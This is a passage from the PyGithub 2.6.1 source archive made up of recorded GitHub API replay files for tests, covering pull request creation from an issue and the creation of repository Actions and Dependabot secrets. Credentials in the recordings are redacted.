{"merged":false,"patch_url":"https://github.com/PyGithub/PyGithub/pull/31.patch","mergeable":null,"head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-27T09:09:17Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":176,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-27T09:09:17Z","created_at":"2012-05-27T08:50:04Z","id":4460787,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","html_url":"https://github.com/BeaverSoftware/PyGithub","full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},"updated_at":"2012-05-27T09:25:36Z","issue_url":"https://github.com/PyGithub/PyGithub/issues/31","body":"Body of the pull request","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","comments":0,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":15,"updated_at":"2012-05-27T08:50:04Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":16,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:PyGithub/PyGithub.git","pushed_at":"2012-05-27T07:29:24Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/PyGithub/PyGithub.git","html_url":"https://github.com/PyGithub/PyGithub","full_name":"PyGithub/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"},"number":31,"merged_by":null,"closed_at":null,"title":"Pull request created by PyGithub","deletions":384,"merged_at":null,"diff_url":"https://github.com/PyGithub/PyGithub/pull/31.diff","additions":511,"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"}},"created_at":"2012-05-27T09:25:36Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"open","id":1436215,"review_comments":0,"commits":3,"changed_files":45,"html_url":"https://github.com/PyGithub/PyGithub/pull/31"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreatePullFromIssue.txt0000644000175100001660000001717014756101563025700 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/32 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '2141'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f88aca2b371ce28f651166ed9c5a2525"'), ('date', 'Fri, 01 Jun 2012 20:10:41 GMT'), ('content-type', 'application/json; charset=utf-8')] {"title":"Creation of a pull request from an issue is not covered by integration tests","pull_request":{"diff_url":"https://github.com/PyGithub/PyGithub/pull/32.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/32.patch","html_url":"https://github.com/PyGithub/PyGithub/pull/32"},"labels":[],"created_at":"2012-05-27T10:55:12Z","state":"closed","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/32","assignee":null,"closed_at":"2012-05-27T11:03:53Z","updated_at":"2012-05-27T11:03:53Z","body":"","comments":0,"number":32,"id":4770481,"html_url":"https://github.com/PyGithub/PyGithub/issues/32","closed_by":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":6,"number":2,"id":93547}} https POST api.github.com None /repos/PyGithub/PyGithub/pulls {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"head": "BeaverSoftware:master", "base": "topic/RewriteWithGeneratedCode", "issue": 32} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4933'), ('content-length', '4501'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2b035f5260fe63dd611156fea3049af0"'), ('date', 'Sun, 27 May 2012 10:58:42 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/pulls/32')] {"merged":false,"patch_url":"https://github.com/PyGithub/PyGithub/pull/32.patch","mergeable":null,"head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-27T10:58:08Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":176,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-27T10:58:08Z","created_at":"2012-05-27T08:50:04Z","id":4460787,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","html_url":"https://github.com/BeaverSoftware/PyGithub","full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"sha":"aff8a573a19f0a42380e1c0cbbc63b6dc719f38e"},"updated_at":"2012-05-27T10:58:41Z","issue_url":"https://github.com/PyGithub/PyGithub/issues/32","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/32","comments":0,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":15,"updated_at":"2012-05-27T10:54:09Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":188,"private":false,"open_issues":17,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:PyGithub/PyGithub.git","pushed_at":"2012-05-27T10:54:09Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/PyGithub/PyGithub.git","html_url":"https://github.com/PyGithub/PyGithub","full_name":"PyGithub/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"7ec473e793c0b63092d938707632639a41fd4369"},"number":32,"merged_by":null,"closed_at":null,"title":"Creation of a pull request from an issue is not covered by integration tests","deletions":0,"merged_at":null,"diff_url":"https://github.com/PyGithub/PyGithub/pull/32.diff","additions":0,"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/32"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/32/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/32"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/32"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/32/comments"}},"created_at":"2012-05-27T10:58:41Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"open","id":1436310,"review_comments":0,"commits":1,"changed_files":0,"html_url":"https://github.com/PyGithub/PyGithub/pull/32"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateRepoActionsSecret.txt0000644000175100001660000002776114756101563026532 0ustar00runnerdockerhttps GET api.github.com None /repos/demoorg/demo-repo-1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:17:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9c4b75dd089a2a530c8efb2f9363e83047d8422cc155692914678bf31dcd2880"'), ('Last-Modified', 'Wed, 17 Jan 2024 20:16:00 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4900'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '100'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED57:6F665:EA48DC1:EC8CB81:65BC26A2')] {"id":744692002,"node_id":"R_kgDOLGMZIg","name":"demo-repo-1","full_name":"demoorg/demo-repo-1","private":false,"owner":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/demoorg/demo-repo-1","description":null,"fork":false,"url":"https://api.github.com/repos/demoorg/demo-repo-1","forks_url":"https://api.github.com/repos/demoorg/demo-repo-1/forks","keys_url":"https://api.github.com/repos/demoorg/demo-repo-1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/demoorg/demo-repo-1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/demoorg/demo-repo-1/teams","hooks_url":"https://api.github.com/repos/demoorg/demo-repo-1/hooks","issue_events_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/events{/number}","events_url":"https://api.github.com/repos/demoorg/demo-repo-1/events","assignees_url":"https://api.github.com/repos/demoorg/demo-repo-1/assignees{/user}","branches_url":"https://api.github.com/repos/demoorg/demo-repo-1/branches{/branch}","tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/tags","blobs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/refs{/sha}","trees_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/demoorg/demo-repo-1/statuses/{sha}","languages_url":"https://api.github.com/repos/demoorg/demo-repo-1/languages","stargazers_url":"https://api.github.com/repos/demoorg/demo-repo-1/stargazers","contributors_url":"https://api.github.com/repos/demoorg/demo-repo-1/contributors","subscribers_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscribers","subscription_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscription","commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/commits{/sha}","git_commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/commits{/sha}","comments_url":"https://api.github.com/repos/demoorg/demo-repo-1/comments{/number}","issue_comment_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/comments{/number}","contents_url":"https://api.github.com/repos/demoorg/demo-repo-1/contents/{+path}","compare_url":"https://api.github.com/repos/demoorg/demo-repo-1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/demoorg/demo-repo-1/merges","archive_url":"https://api.github.com/repos/demoorg/demo-repo-1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/demoorg/demo-repo-1/downloads","issues_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues{/number}","pulls_url":"https://api.github.com/repos/demoorg/demo-repo-1/pulls{/number}","milestones_url":"https://api.github.com/repos/demoorg/demo-repo-1/milestones{/number}","notifications_url":"https://api.github.com/repos/demoorg/demo-repo-1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/demoorg/demo-repo-1/labels{/name}","releases_url":"https://api.github.com/repos/demoorg/demo-repo-1/releases{/id}","deployments_url":"https://api.github.com/repos/demoorg/demo-repo-1/deployments","created_at":"2024-01-17T20:15:59Z","updated_at":"2024-01-17T20:16:00Z","pushed_at":"2024-01-17T20:16:00Z","git_url":"git://github.com/demoorg/demo-repo-1.git","ssh_url":"git@github.com:demoorg/demo-repo-1.git","clone_url":"https://github.com/demoorg/demo-repo-1.git","svn_url":"https://github.com/demoorg/demo-repo-1","homepage":null,"size":5,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/demoorg/demo-repo-1/actions/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:17:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"63c55f32262fbaf6c8015e5a31e233a90ba8105255746204ba09c641ed874e7d"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4899'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '101'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED58:364456:13AEE40:13E87A7:65BC26A2')] {"key_id":"3380204578043523366","key":"oWxGlztcubVOX/ehKONYj83dSjyS4BZphl6dC6L6W3U="} https PUT api.github.com None /repos/demoorg/demo-repo-1/actions/secrets/secret_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "3380204578043523366", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:17:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ef7d1a03b3332b83aecd008a006821ad3613d37a6ec742a794010bc2d93610cf"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4898'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '102'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ED59:157E91:E3DC1C3:E61B2A7:65BC26A3')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateRepoDependabotSecret.txt0000644000175100001660000002776314756101563027201 0ustar00runnerdockerhttps GET api.github.com None /repos/demoorg/demo-repo-1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:17:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9c4b75dd089a2a530c8efb2f9363e83047d8422cc155692914678bf31dcd2880"'), ('Last-Modified', 'Wed, 17 Jan 2024 20:16:00 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '95'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED51:312C7:E2ACED8:E4EC47F:65BC268B')] {"id":744692002,"node_id":"R_kgDOLGMZIg","name":"demo-repo-1","full_name":"demoorg/demo-repo-1","private":false,"owner":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/demoorg/demo-repo-1","description":null,"fork":false,"url":"https://api.github.com/repos/demoorg/demo-repo-1","forks_url":"https://api.github.com/repos/demoorg/demo-repo-1/forks","keys_url":"https://api.github.com/repos/demoorg/demo-repo-1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/demoorg/demo-repo-1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/demoorg/demo-repo-1/teams","hooks_url":"https://api.github.com/repos/demoorg/demo-repo-1/hooks","issue_events_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues/events{/number}","events_url":"https://api.github.com/repos/demoorg/demo-repo-1/events","assignees_url":"https://api.github.com/repos/demoorg/demo-repo-1/assignees{/user}","branches_url":"https://api.github.com/repos/demoorg/demo-repo-1/branches{/branch}","tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/tags","blobs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/refs{/sha}","trees_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/demoorg/demo-repo-1/statuses/{sha}","languages_url":"https://api.github.com/repos/demoorg/demo-repo-1/languages","stargazers_url":"https://api.github.com/repos/demoorg/demo-repo-1/stargazers","contributors_url":"https://api.github.com/repos/demoorg/demo-repo-1/contributors","subscribers_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscribers","subscription_url":"https://api.github.com/repos/demoorg/demo-repo-1/subscription","commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/commits{/sha}","git_commits_url":"https://api.github.com/repos/demoorg/demo-repo-1/git/commits{/sha}","comments_url":"https://api.github.com/repos/demoorg/demo-repo-1/comments{/number}","issue_comment_url":"https://api.github.com/repos/demoorg/de